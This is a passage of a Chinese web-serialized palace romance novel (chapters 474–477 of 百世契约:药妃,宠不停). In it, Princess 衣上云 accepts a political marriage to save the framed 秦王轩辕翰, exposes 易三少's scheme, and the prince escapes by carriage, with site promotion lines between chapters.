东宁国君深看了她一眼,回忆着道:“打从那日见到你的第一眼起,冥冥之中,朕总觉得仿佛像是嫡皇后又回来了。没想到,你竟真的是朕与嫡皇后的骨血。如此甚好,你母后在天有灵,亦可以安息了!” 想起昔日的过往,痛失挚爱的他,尊为一国之君却保护不了自己深爱的女人,终忍不住默默地拭起了泪来。 衣上云见状,忙掏出帕子来起身上前替其拭了拭泪水,安慰道:“父皇莫要难过,今后,有我陪着你。” 这时,东宁国君方才注意到衣上云手腕上的七彩金丝彩玉镯子,顿时朝其瞪大了眼睛惊诧极了地道:“这,这支镯子是……” 衣上云看着腕上的镯子,解释道:“这支镯子,是我一直戴着的。我西秦的父母曾经说,这是他们的一位恩人所赠。她们的恩人,想来便就是我已故的母后了。” 就在衣上云被轩辕翰从东宁皇宫悄悄带走失踪的那天夜里,东宁国君因挂念她的安危,不由自主地便就走到了衣上云的房间。 却意外听到了几个年轻的侍女们在私底下议论衣上云身上的凤凰印记。 东宁国君听了大吃一惊,便凭借着记忆将自己曾经在嫡皇后身上所见到过的凤凰印记画了下来,再与侍女们所见到的比对过后,这才证实了衣上云正是嫡皇后所生的没错。 因为嫡母后在世时曾经说过,这是她们家族女子身上的专有印记,凡是本族血脉生女子均有此凤凰印记,与生俱来,于这世间独一无二。 此刻,他只是没有想到,如今在衣上云的身上,竟然还会留有嫡皇后的贴身物件,东宁国君惊喜之余,又似又些不解,问:“那之前,怎么一直都没有见皇儿戴过这支镯子?” 衣上云想都没想,脱口即出:“那是因为……” 话刚开口,却又不知这话此时说出来是否合适,会不会被其怀疑是轩辕翰别有用心。 可事实如此,便也就索性如实回答说了:“其实,这支镯子,之前被我不小心给弄丢了。直到前几日遇到秦王,秦王便将其又再次归还给了我。” 果然,一听到轩辕翰的名字,东宁国君还是顿沉下了脸色,跳过了话题,轻抿了口茶盏里的热茶,道:“对了,皇儿在西秦国时,那对夫妇待你可还好?” 衣上云知道他心里依旧对轩辕翰不能原谅,于是亦回座了回去,抿了抿嘴,答道:“父亲母亲,他们都待我如同己出,甚好!” 忽闻“啪!”一声。 只见东宁国君将手中的茶盏狠狠地拍在了面前的案上,扬声怒道:“甚好?可朕怎么听闻说,朕的皇儿在西秦国,是个家喻户晓,无人不知,无人不晓的废柴丑女,还被那什么故作清高的西秦学院的公子退了婚?难道,这就是你口中所说的都待你甚好?” 东宁国君盯视着衣上云的脸,一字一句道。 衣上云顿时惊呆了,吓得一脸懵,似是半晌都没有反应过来。 待稍一回神,便替其解释道:“父皇莫要动怒,事实并非你所想象的那样。这其中原由,其实,归根究底,都是因母后而起……” 听到这句,东宁国君似是更加怒不可遏,顿立起身来道:“荒唐,这又干朕的嫡皇后何事?她不是早就已经……皇儿莫要替那两个贱民百般开脱,父皇定会替你讨个公道!” 衣上云一听,心里一急,亦站了起来伸手将其扶住阻止道:“不,父皇,这一切真的全是因母后而起,父皇您听皇儿给您细细道来。” 无奈,东宁国君终是强压住心头的怒火,再次落座下去,衣上云遂将衣上俊前几日所带给自己的消息和盘托出,对其娓娓道来…… 听了衣上云的话,东宁国君终是愣住,神情亦渐渐变得黯然失落地道:“看来,你母后是铁了心不想让你回到父皇的身边啊!难道,做朕的皇后,她就做的这般不开心,以至于等不及将你平安生产下来,便想着要从朕的身边逃走吗?” 衣上云虽亦是心里难过,仍努力试着安慰伤心的东宁国君道:“虽世人皆说,自古皇家多是非,但皇儿相信,母后她一定不是父皇所想的那样,母后她绝不是想要逃。虽然皇儿目前还不清楚母后当时为何一定要那般执着地离宫而去。但是,皇儿知道,母后的一生,一定是深爱父皇的。” 东宁国君看着衣上云的眼睛,此刻忽然似是有种错觉,仿佛站在自己面前的就是当年那个无比真诚善良的女子。 然当终是回过神清醒之后,只能默默地问了句:“你说的,是真的吗?” 衣上云默默地点头:“一定是。” 听了衣上云的话,东宁国君深埋在心中多年以来的耿耿于怀,似是终于得到了些许释然,遂心里似是对其极为不舍,却终还是开了口道:“对了,皇儿,有件事,父皇想问问你的想法?” 闻此,衣上云终是心中顿了一下,仿佛在预料之中,却抬头依旧还是有些惊诧地看着东宁国君的脸道:“父皇想要问的,是不是关于儿臣与南安太子联姻之事?” 东宁国君淡去了脸上的表情,道:“既然皇儿你已经知道了,那父皇也就不必再多做解释。原本,朕好不容易寻回了你这颗遗落在世的沧海遗珠,打算将你永远留在父皇身边。可眼下,灵空大陆四国之争,北烈已亡,现归西秦所有。西秦已是最大的赢家。元宵之夜,西秦秦王又带人欲对我东宁下手,其狼子野心已昭然若揭。这个秦王……” 东宁国君说着说着停了下来,显然极不愿提起他来,可又无法躲避,他怎会不知道衣上云的心思,曾经在自己身边的无数个日日夜夜,她每每在梦中呼唤着他。 这份感情,同为过来人的他,又岂会不懂,却又不能不继续劝说:“这个秦王,实在不是你的良人!此次朕亦定不会轻饶了他。为今之计,只有与南安国结盟,才能与其抗衡。且朕听闻那南安太子与你在西秦亦是旧识,且他曾为了你,不顾一切从寒荒山求得仙草,治愈你的寒疾。可见,他对你亦是真心,不如……” 话未说完,衣上云早已渐渐地紧紧攥住自己的拳头,忽地大声开口将其制止…… 《百世契约:药妃,宠不停》无错章节将持续在新书海阁更新,站内无任何广告,还请大家收藏和推荐新书海阁! 喜欢百世契约:药妃,宠不停请大家收藏:()百世契约:药妃,宠不停新书海阁更新速度最快。 第四百七十四章:难道眼睁睁看着他去死吗? 东宁国君只自顾着继续劝说:“这个秦王,实在不是你的良人!此次朕亦定不会轻饶了他。为今之计,只有与南安国结盟,才能与其抗衡。且朕听闻那南安太子与你在西秦亦是旧识,且他曾为了你,不顾一切从寒荒山求得仙草,治愈你的寒疾。可见,他对你亦是真心,不如……” 话未说完,衣上云早已暗暗地紧紧攥住自己的拳头,忽地一副被逼无奈的样子不想再细听下去,心里一急开口将其余下的话制止:“父皇不要再说了,儿臣答应便是!” 东宁国君闻声顿时朝其看过去,又惊又喜地道:“皇儿你当真……愿意为了东宁,与南安国联姻?” 衣上云此刻的脸上似是没有任何表情,之所以现在这样,她也是经过深思熟虑地,于是再一次郑重地点头,目光定定地看着他道:“儿臣答应父皇,愿意与南安国联姻,只求父皇能饶恕秦王等人的性命,放其一众人等回西秦。” 一听衣上云所提出的条件,东宁国君再一次陷入沉思,犹豫了起来。 那西秦秦王是谁?可不是这般好抓的。放了他,无疑等于放虎归山,他日定遭虎噬。 然面对着此刻看似坚定无比的衣上云的脸,显然这事已经没有了商量的余地。 东宁国君忽然觉得自己是如此地无能与渺小,竟会沦落到有一天要用自己最爱的人去巩固他的天下。 一时间里,俩人就这样你看着我,我看着你,怔怔地对视了许久,东宁国君终是沉声答应了她,道:“好,朕答应你放了他便是。可怕只怕,他就算是有命回得了西秦,那生性多疑又无能的西秦璟帝也不会放过他!” 对于东宁国君所担心的事,衣上云似是并没有将其放在心上。眼下,她也着实已经顾不得那么多了,只能走一步,算一步。 她自始至终都眼神定定地看着他,许久后,忽然朝其异常认真地曲膝行礼道:“谢父皇!” 说完,便转身欲要离开,启料没走出两步,忽觉脑袋里像是有一根紧紧绷着的弦被人一把扯断。 顿时,那娇小的身子随之亦一个踉跄差点儿摔倒。 东宁国君一见,紧忙担心地朝其伸出自己两只大手去欲要扶住:“皇儿,你没事吧?” 衣上云头也不回,只扶了扶额角,便伸出一只纤纤细手将其拦住,道:“无碍,儿臣告退!” 望着衣上云一脸决绝离去的背影,东宁国君的心似是紧紧地纠在了一起,难受极了。 忽觉心口处隐隐作痛,继而两腿一软,遂一手抚在心间一边缓缓落座下,一边默默地自言自语说道:“皇儿,朕怎会不知你对那秦王早已死心塌地。可父皇已然年迈,你的俩个皇兄又没有一个争气的。终是父皇,对不起你……” 刚一踏出清心殿的门槛,衣上云的眼泪终于再也止不住地流了出来,整颗心亦瞬间崩溃。 此刻,她只觉自己的心着实痛极了,似是一时间都已不能呼吸,以至于不得不附手上去紧紧攥住心脏处的衣物,另一只手将嘴巴紧紧捂住,只怕自己的哭声惊到了旁人。 这一刻,她终于深深地明白,她的母后当时为何要费尽心思将她变成一个丑女。宁愿将她托付给一对深山里的平凡夫妇,也不愿透露她的尊贵身份半分。 若是她还是以前那个西秦药师府上,整日里以面纱示人的普通人家女子,那该有多好!最起码,不会有现在这么多的无可奈何与束手无策。 她一遍又一遍地在心里问自己,努力回忆着,这一路走来,她到底是怎么走到今天这一步的? 跌跌撞撞,不知过了多久,终于步履艰难地回到了自己的宫门口。 夜幕下,借着隐隐约约的烛火之光,抬头忽见前面现出一熟悉的背影,形单影只地在门口一角上来回踱步着。 衣上云顿足停下将其上下仔细打量了一会儿,见其似是有几分眼熟,遂继续迈步上前朝其近身过去,对着其背影开口问道:“是谁?” 闻声,那人似是被惊到,忽地转身过来,衣上云方才朝其瞪大了眼睛惊诧地道:“玥……” 话刚开口,却似是又想起了什么,瞬间复又昂起了头来,故作对其不屑一顾,甚至眼中还透出些许轻视与恨意地道:“是你,你来这里做什么?” 来人正是听闻了轩辕翰在东宁国被俘的消息,自己又进不去天牢,逼不得已只能来此探问些详情的轩辕玥。 闻声,她亦是忽然间面对着她,竟有些不知所措,显然,她做梦都没有想到,衣上云竟然会是东宁国尊贵无比的嫡公主。 惊诧之余,她还是关切地开口问道:“云……不,永宁公主当真决定要与那南安国联姻?” 衣上云一副云淡风轻的样子,侧身对着她道:“三皇子妃的消息可真是灵通啊,这件事,与你无关!” 轩辕玥自是了解她的品性的,一见她此时哭红的眼睛,便已知道她心里的苦有多少? 根本不介意她此时对自己的这副傲慢态度,可想到自己联姻仅仅这两年的亲生经历,终还是语重心长地道:“为了能够救秦皇叔,你当真愿意牺牲至此?” 一想到轩辕翰的艰难处境,衣上云终再也按捺不住心里的担忧,心里一急便气道:“不愿意又如何?难道眼睁睁看着他去死吗?” 轩辕玥见其亦着急地道:“可或许,或许我们还有其他办法?不一定要牺牲你与秦皇叔的幸福,而去选择一个你根本就不爱的人,如此,相信秦皇叔他也定不会同意……” 未及其将话说完,衣上云忽瞪视着她,厉声将其打断:“其他办法?眼看着过了明天,殿下便要被当众斩首示众了,我们还能有什么办法,你告诉我,你告诉我啊!” “我……”显然,轩辕玥对此亦是毫无办法,自己本来就在东宁皇宫里处处孤立无援,能够自保至今已是万幸。 看着轩辕玥无助的脸半晌,衣上云咬牙恨恨地道:“轩辕玥,我恨你,今日这一切,全都是拜你父皇所赐,若不是他设计,殿下怎会有今日?我们,又都怎么会走到今天这个地步?” “不,云儿……”听到这话,轩辕玥很想说些什么,可却发现,冥冥之中,自己其实什么都解释不了。 衣上云看着无言以对的她,心痛极了地道:“你我之间,从此恩断义绝。这辈子,我再也不想看到你!” 说完,便撇下轩辕玥独自一人,兀自进到了宫门里去,宫门紧紧地关闭了起来。 轩辕玥无力地瘫倒在地上,哭着抱歉极了地道:“云儿,对不起,对不起……” 直到翌日黄昏时分,衣上云一整天哪里都没有去,就只呆在自己的宫中不眠不休,不吃亦不喝,愣愣地坐着发呆。 身处东宁皇宫至今尚未离去的易三少,得知衣上云已然亲口答应了这桩联姻,便欣喜地来到了她的宫殿里。 为了满足自己的私心,不惜将轩辕翰推向了死路,原本以为自己会快乐,可当真再次面对衣上云的时候,远远地看到她犹豫的脸,眉间浓的似是再也化不开的愁,他忽然发现自己是不是做错了? 直到看着衣上云的目光渐渐抬起,朝自己看了过来,方才忽地反应过来,一时间却又不知该说些什么,便下意识地说了句:“丫头,对不起,我……” 衣上云无比认真地看着他,不知为何,许是心虚,又许是被其眼神震到,他竟忽然间无法言语。 这时,衣上云反对其一字一顿地问道:“对不起?南安太子?试问太子何出此言?” 易三少一直隐瞒着自己的真实身份,此时瞬间被问的方寸大乱,正欲要朝其解释致歉:“丫头?你听我说……” 启料衣上云毫不给他体会,抢了他的话:“事到如今,不知太子还想说什么?说你的身份其实并不是南安国太子?还是说你故意接近我,不是为了利用我来窥探殿下的行踪,好去向三皇子报信?亦或者,还是说你与三皇子合谋,不是以我为条件?” “我……”面对着衣上云已然知晓了一切,此时对自己又步步紧逼,一时间,易三少彻底无话可说。 见其已然全都默认,衣上云缓缓起身来,朝其身边走了过去,围着他转了个圈,道:“易三少,我只想知道,元宵节的那日夜晚,那些被殿下已然全都找出并藏了起来准备翌日一早便运回西秦去的火药,是不是你尾随殿下的人将其劫了去?” 衣上云话音刚落,忽地转身,目光定定地看向易三少的脸。 易三少被这突如其来的质问惊得眼神瞬间呆愣,着急地想要转移话题:“丫头,你听我解释,秦王轩辕翰,他绝非你的良人,你……” 衣上云丝毫不想听他说话,只自顾自道:“我早已调查清楚,那夜燕儿所说的城防图上标注的那些红点,只不过是殿下派人暗地里所查实的原本皇上安排的爆炸点。当夜,你先是潜入小院内命人故意暴露那张城防图被燕儿看到,致使燕儿慌乱中传递了错误的信息给我,以此诱我出门,引殿下现身,再命人将截获的真的火药搬出来栽赃嫁祸给殿下,对不对?” 第四百七十五章:独活 衣上云丝毫不想听他说话,只自顾自道:“我早已调查清楚,那夜燕儿所说的城防图上标注的那些红点,只不过是殿下派人暗地里所查实的原本皇上安排的爆炸点。当夜,你先是潜入小院内命人故意暴露那张城防图被燕儿看到,致使燕儿慌乱中传递了错误的信息给我,以此诱我出门,引殿下现身,再命人将截获的真的火药搬出来栽赃嫁祸给殿下,对不对?” 在这不眠不休的一日一夜里,衣上云闭门想了很多很多。 在秦王轩辕翰身边的那段你侬我侬的幸福日子里,她从未如此彻底地放空自己,什么都不管不顾,一切都依赖着他,被他毫无底线地宠着,过得太过舒心安逸。 可“人无远虑,必有近忧”这句话果然一点儿都没错。到最后,自己终是被人利用,尔今细细回想推敲起这一件件事来,甚觉是自己大意所致,然却悔之晚矣。 “我……”面对衣上云的步步紧逼,易三少连连愣住,此刻,他显然没想到,衣上云这么快便已弄清楚了整个事情的经过。 可心下里一想,却还是不肯承认,心存着一丝侥幸,佯装着问:“你这话,有何证据?” 闻此,衣上云远远地愣了一会儿,忽一步一步上前去,朝其近身过去直勾勾地盯视着其眼睛,一字一句地说道:“易三少,你看着我的眼睛。” 易三少不明所以,遂听话地微微垂首下来,与其四目相对。 似是彼此都从未如此之认真地注视过对方的双眸,此刻,在易三少的眼里只有她,而在衣上云的眼里又是否只是易三少? 这一切,都无从所知。 片刻后,只见衣上云的眼睛忽然渐渐温柔了下来,诚恳地开口说道:“三少,你实在不该这样做的!原本,我的心里还敬你几分,觉得这一生终是对你甚是抱歉。直到昨日听了父皇所说,我才知道,原来,我的寒疾之所以能够痊愈,并不是因为什么神医,而是因为你!” 衣上云是真心感到很意外,而易三少却只怔望着她眼里的无尽温柔,似是早已深陷了进去。 衣上云稍作停顿,继续看着他的眼睛道:“原来,真的是你不顾一切往寒荒山亲自为我求得了良药。一直以来,我都觉得三少你是个聪明人,可今日,你却为何会如此糊涂。你难道不知,这样一来,便是你,亲手葬送了我们之间的所有情分吗?!” “我……丫头,对不起,是我的错,这一切,都是我不好,是我鬼迷心窍,你原谅我,原谅我好不好?” 果然,在衣上云一而再再而三,最后给其制造了一种对其像是在推心置腹的错觉,如此一再攻势逼问下,易三少终于精神恍惚地开口说出了实话。 闻此,衣上云顿时对其失望极了,遂缓缓退回两步到俩人方才原来相隔的距离,冷冷地笑了一阵道:“果然是这样!” “丫头,你……”易三少见其远离自己,这才反应过来,方觉自己被套路。 此刻,他虽努力强忍着使自己保持面色如常,可竟发现还是渐渐地双手开始变得冰凉起来,似是整个人也开始颤颤发抖。 如今既然已亲口承认,便索性也不再隐瞒,继续扬声说道:“没错,这一切,的确是我做的。可那又怎样?这原本一开始就是个哑巴亏。那秦王他敢承认说那批火药是梅志煊私自从西秦所订,欲要举事所用的吗?没错,我就是要那秦王死,只有他死了,才不会再继续蛊惑你,你的眼里才会看到我!” 衣上云看着眼前此刻变得面目狰狞,似是换了一副面孔,丧心病狂犹如陌生人一般的易君浩,不可思议地道:“易三少,你疯了!” 易三少继续道:“对,我是疯了,可那也是被你给逼的。你知道,我喜欢你,离不开你,可你为何却总是对我视而不见?不过没关系,这次,秦王一定死定了!而你,这辈子也只能属于我一人。” 看到已然失去理智的易三少,衣上云一刻都不想再与其继续纠缠下去,于是淡淡地说了一句:“是吗?” 说完,便抬步朝着门口走去,丢下易三少一个人愣愣地站在原地,一脸懵。 可就在衣上云欲要跨过门槛时,易三少忽然再次开口问道:“你要去哪儿?” 衣上云顿足停下,目光朝向自己的前方无比坚定地道:“天牢!” 易三少心里明明知道,却依旧还是忍不住问了句:“你去天牢做什么?” 衣上云冷笑了一下,道:“怎么,你我尚还未成婚,各自就都还是自由之身,难不成现在便想要管着我了?” 易三少默想了一阵,总归是相识一场,或许所有事情,都该有个了结,临死之前,让他们当面道别说清楚了也好,免得日后挂念,量那轩辕翰也是已无力回天了。 心里已有了主意,于是便缓缓朝其解释说道:“我并不是要管你,哪怕就是以后我们成婚了,你也都是自由的。只是能不能答应我,这是你们最后一次见面,好不好?” 衣上云听了笑了笑,继而脸上夹杂着一丝黯然道:“最后一次见面?难道,太子殿下以为,我与秦王,我们还有以后吗?” 听闻易三少不再说话,衣上云便兀自抬起脚步来离开。 看着衣上云的背影渐渐消失,易三少回头望了一眼衣上云方才落座过的地方,不经意地瞥见案几上似是放着几粒像是药草之类的东西,便挪步过去好奇地将其拿了起一看,默默道:“是独活!” 顿时,一种不好的预感从他的心头升起:“难道丫头她……” 一念至此,他加快脚步离开了衣上云的寝宫,消失在华灯初上的夜里。 冰冷阴森的天牢里,烛火昏暗。 寂静中,忽闻看守的狱卒们齐刷刷跪倒一大片,同声恭敬地跪地叩拜:“参见永宁公主殿下千岁,千岁,千千岁!” 铁窗内,轩辕翰一袭单薄的青色长袍,脚上被锁上了沉重的镣铐,此刻正独自端坐在一案几边上,活像个雕塑,一动不动。 自从进入大牢里,轩辕翰似是早就料到了会有这样的结局,心中竟也毫无半点戾气。 见衣上云一袭锦衣华服缓缓进来,遂眨了眨那双此刻尽显温柔的双眸,嘴角微微上扬,弯出一抹浅笑,却并没有说话。 衣上云立在门口一旁定定地看了他一会儿,昔日一人之下万人之上的西秦秦王,灵空战神,那般无比尊贵的一个人,不想竟落到如此地步,想着想着不由得眉头紧紧皱了起来。 不知过了多久忽地回神,她将目光忿忿地移落在门锁上,着急扬声怒道:“给本公主把门打开,将他的枷锁除掉!” “遵命!”闻声,一狱卒紧忙跑步上前照办,慌乱之下,钥匙不慎从手中滑落,遂忙一边弯腰将其拾回,一边歉声连连道:“公主恕罪,公主恕罪……” 除去了沉重的刑具,衣上云当即再次下令:“全都给本公主出去。” 众狱卒齐声领命,排队依次退了出去。 一室寂静。 衣上云却依旧没有出声,只是静静地望着他,眼里尽是心疼,又夹杂着对他深深的埋怨,不明白这个人,他为何可以对所有人都温暖,却独独待自己这般无情。 若是他为了护全别人,自己却甘心被俘,一心求死,那留她一人独活于世,一茎之上,不为风摇,此生又有何意义? 一时间里,满腹心事却不知从何说起? 半晌后,终是轩辕翰在心里默默地叹了口气,先主动开了口:“你终于还是来了?” 日里夜里想着,念着,惦记了这么久的日子以来,终于听到了让自己魂牵梦绕,牵肠挂肚的声音,衣上云顿回过神来,深吸了口气道:“我若不来,你是不是打算这辈子都不对我解释些什么?” 听到衣上云似是都已有些带着哭腔的声音,轩辕翰的心终是迅速被其融化,看向她的脸着急地道:“本王……” 可话刚开口,却又硬生生将其咽了回去:“本王对永宁公主无话可说!” 见其已然不顾自己的满心期待,复又收回了视线,垂首下去,衣上云的眼泪瞬间滑落了脸庞,却又笑着,似是自嘲一般地道:“永宁公主?这个公主,当真是用来永保长宁使的!” 说完,吸了吸鼻子,道:“看来,殿下是铁了心宁愿我恨你一辈子,也不愿意对我解释一二了对吗?如此看来,殿下对云儿,可当真是无情啊!” 看到轩辕翰已然下定了决心,衣上云颇为认真地道:“既然如此,这一切皆因云儿而起,那就也让云儿来结束这所有吧!” 闻此,见她言语之间如此认真,轩辕翰忽觉对她捉摸不透起来,竟还有些害怕,愣愣的看着他的眼睛问:“云儿,你想做什么?” 衣上云不知在心里暗暗下了什么决心:“既然殿下铁了心不要云儿了,那接下来,无论云儿做什么,都与殿下无关。” 《百世契约:药妃,宠不停》无错章节将持续在新书海阁更新,站内无任何广告,还请大家收藏和推荐新书海阁! 喜欢百世契约:药妃,宠不停请大家收藏:()百世契约:药妃,宠不停新书海阁更新速度最快。 第四百七十六章:欲成大事者,不拘小节 见衣上云言语之间如此认真,轩辕翰忽觉对她捉摸不透起来,竟还有些害怕,愣愣的看她的眼睛问:“云儿,你想做什么?” 衣上云不知在心里暗暗下了什么决心,只开口道:“既然殿下铁了心不要云儿了,那接下来,无论云儿做什么,都与殿下无关。” 一时间,轩辕翰愣愣地看着她的脸,惊呆了。就在这时,衣上云忽然开始缓缓脱起了自己的衣服来。 轩辕翰一见,吓了一跳,简直不敢相信自己的眼睛,疑惑不解地道:“你这是做什么?” 片刻后,衣上云毫不犹豫地上前复又伸手解开了轩辕翰的衣带,继而抬起头来勇敢地对上他的眼睛说:“做殿下真正的女人。” 轩辕翰一听,一把将她的手捉住将其动作阻止,惊诧不已地说:“不,云儿,你……” 然话刚开口,来不及说完,衣上云便高高踮起脚尖来再也不由分说地附到其冰冷的唇上,一吻封唇。 烛火摇曳下,俩个滚烫的身体就此缠缠绵绵地紧紧贴在了一起…… 平日里,一向寂静惯了的倚梅轩里,今夜亦是疾风骤雨,格外地不平静。 屋内,轩辕玥红着眼睛正在朝梅志煊苦苦哀求着:“殿下,玥儿求殿下,救救秦皇叔,秦皇叔他不能死,不能死啊!” 梅志煊单手负后背对着她,沉声毫不犹豫地道:“救他?你可知道他所犯下的是何等滔天大罪,竟敢妄想炸掉我东宁皇城,如此罪大恶极你叫本皇子如何救他?” 眼看着天一亮,轩辕翰便会被问斩,身首异处,轩辕玥心里着急万分,附手上去紧紧拽住梅志煊的一只胳膊,恳求着道:“不,只要殿下想,只要殿下愿意,玥儿相信殿下一定会有办法的,一定会有的。” 虽然梅志煊并不怎么受东宁国君的重视,但他依旧负责着整个皇城的护城军,轩辕玥始终坚信,梅志煊有动摇东宁国格局的本事,可以保得住轩辕翰的性命。 亦虽然之前她对这个人已然是失望透顶,可眼下,为了能救轩辕翰,弥补她的父皇西秦璟帝所带给轩辕翰和衣上云这对苦命鸳鸯的伤害,她哪里还顾得上自己的自尊和体面。 想到这一切,心急如焚,又觉得委屈极了的轩辕玥情不自禁地带着哭腔,朝其致歉道:“玥儿知道,之前都是玥儿太过任性,常惹殿下生气,玥儿向殿下赔罪,对不起,对不起。” 说着,“扑通”一声,轩辕玥竟冷不防地曲膝朝其跪身了下去。 见此,梅志煊似是本能一般地朝其伸手过去欲要将其扶住,却又最后眼睁睁看着她实实的跪了下去,一只手搭在了她的胳膊上。 梅志煊一脸错愕地看向她,眼中或许还带着些许心疼地道:“你……你这又是何苦呢?并不是本皇子不救他,而是根本就没有人救得了他。” 显然,他没想到,原本打小便骄傲尊贵惯了的轩辕玥竟会为了替轩辕翰求情,委屈自己至此。看来,她是真的很想救他。 轩辕玥哭着道:“难道殿下不知,若是秦皇叔死了,永宁公主亦定不会独活于世上。所以,殿下如今救了秦皇叔,便亦是救了永宁公主。且殿下不是常说,儿时没有少受到嫡皇后娘娘的诸多关照吗?既然如此,殿下便更应该替嫡皇后娘娘好生照顾命运多舛的永宁公主,不是么?” “我……”或许这一瞬间,梅志煊差一点点就被声泪俱下的轩辕玥,以及其此时所说出的这个理由打动了。 轩辕玥紧紧扯着梅志煊的袍角,苦苦向其哀求:“只要殿下愿意救秦皇叔,以后,殿下让玥儿做什么都可以,玥儿什么都听殿下的,好不好?” 梅志煊差点儿就为她的眼泪所打动,然在轩辕翰的问题上,他显然时刻都能保持极其清醒的头脑,最后兀自只将轩辕玥一边拉起身来,一边敷衍着她道:“你先起来再说,让本皇子再好好想想……” 闻此,轩辕玥方才缓缓起身来,拭了拭泪水,道:“如此,玥儿先去看看海儿,稍后再来寻殿下。” 梅志煊朝其轻轻点了点头。 轩辕玥刚刚离开一会儿,院子里忽传出一阵从未有过的喧闹声道:“梅志煊,梅志煊你给我出来,快出来!” 闻声,身处东屋里刚刚换好睡袍准备睡去的婢女锦兰急急忙忙从屋里掀开门帘走了出来。 一见来人乃是梅志煊前些日子带回宫里来的易三少,亦不知他此刻为何如此动怒,便急急下了台阶过去将其拦住道:“太子殿下请留步,我家三皇子与三皇子妃娘娘正在厅里议事,太子殿下容奴婢先进去通报一声。” 启料易三少丝毫没有放慢脚步的意思,此刻阴沉至极的脸上不是一般的可怕,自顾自一边继续闯入一边勃然大怒道:“议事?议什么事?梅志煊,你若再不给本太子出来,小心本太子翻脸不认人。” 当易三少怒不可遏地一把掀开了门帘,气势汹汹地夺门而入,早已不见了轩辕玥的身影,于是缓缓放下手里的门帘来,朝其质问道:“梅志煊,你是不是有什么事瞒着我?” 梅志煊似是早已料到了眼下这一幕,心里多少有些不知该如何开口,犹豫了一瞬,说道:“太子殿下莫要动怒,这情况确实有些变化?” “情况有变?到底发生了何事?”易三少心中果然没有猜错,着急地追问其道。 梅志煊看了看他的脸,道:“众所周知,这永宁的确是亲口答应了父皇与你的婚事,可她亦向父皇提出了一个条件来交换?” 易三少当时只听梅志煊说衣上云已亲口答应了这桩联姻,便兴奋不已,急不可耐地再也听不进其他的话匆匆离去,如今稍一思索,便似瞬间明白了,缓缓说道:“她要秦王轩辕翰活?” 梅志煊似是也很无奈地对其点了点头。 闻此,易三少默想了一瞬,紧紧攥紧了手心里的几颗独活药草,最后沉声道:“不行,事到如今,秦王轩辕翰,一定不能再留了!” 梅志煊的决心自是亦分毫都从未变过:“本皇子亦是这样认为!” 至此,易三少似是这才安心了些许下来,在梅志煊的陪同下一起落座,顿觉侥幸地道:“这次,幸亏是因了你与那东宁公主的关系方才牵制住了轩辕翰,让他哑巴吃黄连,有苦说不出。不过,那西秦璟帝也真可谓是心狠手辣,竟让轩辕翰护送那批火药来与你交易!” 梅志煊一边笑着替其倒茶,一边道:“这次也幸亏太子殿下帮忙,将真正的火药追回,才得以让秦王的罪证给坐实了,咱们方才旗开得胜!” …… 深夜,直到目送着易三少的背影渐渐消失不见,梅志煊方才重重地叹了口气。 一转身回过头来,却见轩辕玥不知何时竟已悄悄站在了自己身后不远处,他顿时被其吓了一跳,吃惊地道:“玥儿,你……” 说着,忽地回头看看门口,复又回头看看正一脸冷漠的轩辕玥,似是忽地反应过来,道:“方才……你都听到了?” 似是不敢相信自己的耳朵,轩辕玥立在原地里怔望着梅志煊的脸许久许久,方才呆呆地开口问道:“方才那个南安太子所说的,可全都是真的?” 即便是此刻,梅志煊竟然还想试着继续欺骗轩辕玥:“玥儿,你听我解释……” 启料轩辕玥严肃地开口将其打断,道:“不,殿下不必向我解释,而是应向父皇禀明那批火药真正的来龙去脉。” 梅志煊毫无商量的余地,一口坚决地道:“让本皇子去向父皇自首,这不可能。” 轩辕玥见显然对其硬来不行,便又试着开始柔软了下来:“殿下,玥儿知道,殿下乃是未雨绸缪,想要我们母子不受殿下儿时所遭受的冷眼和非议。可是,殿下若是这般行事,总有一日,若是被人得知殿下如此胜之不武,那岂不是遭世人唾弃吗?” 启料梅志煊竟忽然勃然大怒了起来,扬声道:“住嘴,欲成大事者不拘小节,待到本皇子继任之后,到时候看谁还敢非议这些?” 说完,他狠狠地瞪视向轩辕玥的脸,道:“想要我放过轩辕翰,这辈子都休想!” 话已至此,轩辕玥亦不甘示弱,咬了咬牙,心一横,亦狠道:“殿下当真要做到这个份上吗?可殿下心里明明知道,那批火药是我父皇亲自安排人设在东宁城中各处的,根本就不关秦皇叔的事。殿下即便是要算账,也是先找我啊!不如,殿下先杀了我来泄愤吧!” 梅志煊并不理会她,他始终坚信,总有一日,他定会与西秦璟帝对峙,这一日,指日可待,但绝不是现在。 于是,他忽然轻蔑地道:“很不巧,只能怪那秦王自己倒霉,墙倒众人推,他怎么都没想到,他的一世英名,最后竟是被自己的亲皇兄给算计了吧!” “殿下,你……”轩辕玥不想接受这个事实,还想与其试着理论。 却被梅志煊制止:“好了,不要再说了,否则不要怪本皇子翻脸无情。” 第四百七十七章:她已是本王的人 “驾,驾……” 伸手不见五指漆黑的夜里,郊外的小路上,一辆马车飞快地疾驰着。 摇摇晃晃中,早已妥妥躺在了马车里的轩辕翰终于缓缓睁开了眼睛清醒过来,似是依旧感觉哪里有些不适,遂一睁眼便将眉头忽紧紧皱起,脸上的表情看似依然有几分痛苦。 遂隐忍着,看了看自己身边熟悉的副将程良,还有此次负责行动时埋伏等待在城外时刻准备接应的西秦学院少主陆天麟。 确定大家都尚且安好着,才注意到了自己正身处颠簸之中的环境,于是有些虚弱地问:“我们这是在哪儿?” 程良看了看他的眼睛,却并没有回答他,似是有些难言之隐尚没有准备好如何开口。 这时,陆天麟先开了口忿忿地道:“幸亏殿下早有预料,否则怕是后果不堪设想。这次的这口气,咱们可不能就这样咽下去!” 轩辕翰顿变得一双极深不可测的眸子里似是丝毫看不到底,沉声说道:“自然不能就这样咽下!” 陆天麟深叹了口气,再次问:“殿下,既然如此,那咱们便连夜赶回西秦去找那璟帝算账!” 轩辕翰此刻只以为自己只是被带离开了皇宫,遂目光定定地道:“不,有件属于本王自己的东西,本王必须一起带走!” 闻声,只见程良的目光忽然朝其一愣,似是想到了什么,却并没有开口。 待到回过神来后,轩辕翰方才再一次问:“这会儿到哪儿了?” “殿下……我们……已经出城了。”想起近日里所发生的一切,程良显然似是至今都没有反应过来,依旧后觉害怕极了地一边将其扶起身来,一边吞吞吐吐地道。 “什么?已经出城了?”闻声,轩辕翰惊诧地坐起身来,一把着急地掀开了车窗帘朝外探了探此刻显然已荒无人烟的广阔天地。 继而,心下里稍一回想,猛地回过头去顿看向程良的眼睛,朝其满脸质问地问:“这……这是怎么回事?我们怎么出城了?” 